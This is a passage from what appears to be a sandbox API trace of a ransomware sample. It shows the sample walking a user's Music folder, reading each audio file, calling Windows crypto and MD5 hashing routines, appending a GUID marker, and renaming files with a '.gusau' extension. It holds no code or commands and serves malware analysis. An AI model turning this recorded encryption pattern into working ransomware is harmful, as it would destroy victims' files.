halpmcxz\\music\\soig.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.584] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=73704) returned 1 [0117.584] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.586] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x11fc2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.586] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.587] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x11fe8, lpOverlapped=0x0) returned 1 [0117.588] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.588] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.588] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.588] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0117.589] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.589] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.589] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.589] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.589] GetLastError () returned 0x0 [0117.589] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.589] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0117.590] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x11fe8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.590] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.590] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.590] CloseHandle (hObject=0x610) returned 1 [0117.591] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\SOIg.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\soig.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\SOIg.mp3.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\soig.mp3.gusau")) returned 1 [0117.592] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7cb1e60, ftCreationTime.dwHighDateTime=0x1d4c683, ftLastAccessTime.dwLowDateTime=0x9c57e600, ftLastAccessTime.dwHighDateTime=0x1d4ca8e, ftLastWriteTime.dwLowDateTime=0x9c57e600, ftLastWriteTime.dwHighDateTime=0x1d4ca8e, nFileSizeHigh=0x0, nFileSizeLow=0x182fe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SpwIY0qQ5DxtnlG-Nb.m4a", cAlternateFileName="SPWIY0~1.M4A")) returned 1 [0117.592] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\SpwIY0qQ5DxtnlG-Nb.m4a") returned=".m4a" [0117.593] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\SpwIY0qQ5DxtnlG-Nb.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\spwiy0qq5dxtnlg-nb.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.593] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=99070) returned 1 [0117.593] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.595] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x182d8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.595] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.597] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x182fe, lpOverlapped=0x0) returned 1 [0117.597] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.597] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.598] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.598] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf09c0) returned 1 [0117.598] CryptCreateHash (in: hProv=0xdf09c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.598] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.598] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.598] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.598] GetLastError () returned 0x0 [0117.599] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.599] CryptReleaseContext (hProv=0xdf09c0, dwFlags=0x0) returned 1 [0117.599] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x182fe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.599] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.599] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.599] CloseHandle (hObject=0x610) returned 1 [0117.601] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\SpwIY0qQ5DxtnlG-Nb.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\spwiy0qq5dxtnlg-nb.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\SpwIY0qQ5DxtnlG-Nb.m4a.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\spwiy0qq5dxtnlg-nb.m4a.gusau")) returned 1 [0117.602] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea553660, ftCreationTime.dwHighDateTime=0x1d4cdfd, ftLastAccessTime.dwLowDateTime=0x3c6b57e0, ftLastAccessTime.dwHighDateTime=0x1d4d371, ftLastWriteTime.dwLowDateTime=0x3c6b57e0, ftLastWriteTime.dwHighDateTime=0x1d4d371, nFileSizeHigh=0x0, nFileSizeLow=0x9079, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="th0xZ3rZW1yj.m4a", cAlternateFileName="TH0XZ3~1.M4A")) returned 1 [0117.602] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\th0xZ3rZW1yj.m4a") returned=".m4a" [0117.602] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\th0xZ3rZW1yj.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\th0xz3rzw1yj.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.602] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=36985) returned 1 [0117.602] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.604] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x9053, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.604] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.606] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x9079, lpOverlapped=0x0) returned 1 [0117.607] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.607] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.607] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.607] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0117.607] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.607] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.607] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.608] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.608] GetLastError () returned 0x0 [0117.608] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.608] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0117.608] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x9079, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.608] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.608] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.608] CloseHandle (hObject=0x610) returned 1 [0117.609] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\th0xZ3rZW1yj.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\th0xz3rzw1yj.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\th0xZ3rZW1yj.m4a.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\th0xz3rzw1yj.m4a.gusau")) returned 1 [0117.610] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2792b0, ftCreationTime.dwHighDateTime=0x1d4d363, ftLastAccessTime.dwLowDateTime=0xebf4c7b0, ftLastAccessTime.dwHighDateTime=0x1d4d302, ftLastWriteTime.dwLowDateTime=0xebf4c7b0, ftLastWriteTime.dwHighDateTime=0x1d4d302, nFileSizeHigh=0x0, nFileSizeLow=0xe8f2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="unP_Med.m4a", cAlternateFileName="")) returned 1 [0117.610] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\unP_Med.m4a") returned=".m4a" [0117.610] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\unP_Med.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\unp_med.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.611] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=59634) returned 1 [0117.611] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.613] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xe8cc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.613] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.614] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.615] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xe8f2, lpOverlapped=0x0) returned 1 [0117.615] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.615] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.615] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.615] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0117.616] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.616] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.616] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.616] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.616] GetLastError () returned 0x0 [0117.616] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.616] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0117.617] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xe8f2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.617] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.617] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.617] CloseHandle (hObject=0x610) returned 1 [0117.618] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\unP_Med.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\unp_med.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\unP_Med.m4a.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\unp_med.m4a.gusau")) returned 1 [0117.620] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8802b010, ftCreationTime.dwHighDateTime=0x1d4cb40, ftLastAccessTime.dwLowDateTime=0xd6ded180, ftLastAccessTime.dwHighDateTime=0x1d4d56f, ftLastWriteTime.dwLowDateTime=0xd6ded180, ftLastWriteTime.dwHighDateTime=0x1d4d56f, nFileSizeHigh=0x0, nFileSizeLow=0x128ce, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wcuQuzjX.wav", cAlternateFileName="")) returned 1 [0117.620] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wcuQuzjX.wav") returned=".wav" [0117.620] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wcuQuzjX.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\wcuquzjx.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.620] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=75982) returned 1 [0117.620] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.622] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x128a8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.622] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.623] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x128ce, lpOverlapped=0x0) returned 1 [0117.624] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.624] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.624] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.624] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0117.625] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.625] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.625] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.625] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.625] GetLastError () returned 0x0 [0117.625] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.625] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0117.626] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x128ce, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.626] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.626] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.626] CloseHandle (hObject=0x610) returned 1 [0117.627] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wcuQuzjX.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\wcuquzjx.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wcuQuzjX.wav.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\wcuquzjx.wav.gusau")) returned 1 [0117.628] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a3ae10, ftCreationTime.dwHighDateTime=0x1d4c615, ftLastAccessTime.dwLowDateTime=0xd531abe0, ftLastAccessTime.dwHighDateTime=0x1d4cae9, ftLastWriteTime.dwLowDateTime=0xd531abe0, ftLastWriteTime.dwHighDateTime=0x1d4cae9, nFileSizeHigh=0x0, nFileSizeLow=0xafaf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WqT6i1.m4a", cAlternateFileName="")) returned 1 [0117.628] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\WqT6i1.m4a") returned=".m4a" [0117.628] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\WqT6i1.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\wqt6i1.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.628] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=44975) returned 1 [0117.628] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.630] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xaf89, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.630] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.631] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.631] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xafaf, lpOverlapped=0x0) returned 1 [0117.632] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.632] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.632] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.632] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0117.633] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.633] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.633] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.633] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.633] GetLastError () returned 0x0 [0117.633] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.633] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0117.633] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xafaf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.634] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.634] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.634] CloseHandle (hObject=0x610) returned 1 [0117.634] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\WqT6i1.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\wqt6i1.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\WqT6i1.m4a.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\wqt6i1.m4a.gusau")) returned 1 [0117.636] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1525efb0, ftCreationTime.dwHighDateTime=0x1d4d4d4, ftLastAccessTime.dwLowDateTime=0x7f0aba90, ftLastAccessTime.dwHighDateTime=0x1d4d570, ftLastWriteTime.dwLowDateTime=0x7f0aba90, ftLastWriteTime.dwHighDateTime=0x1d4d570, nFileSizeHigh=0x0, nFileSizeLow=0xfeb5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="y9xtUA5iI6IPOKUD.wav", cAlternateFileName="Y9XTUA~1.WAV")) returned 1 [0117.636] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\y9xtUA5iI6IPOKUD.wav") returned=".wav" [0117.636] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\y9xtUA5iI6IPOKUD.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\y9xtua5ii6ipokud.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.637] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=65205) returned 1 [0117.637] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.639] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xfe8f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.639] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.640] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, 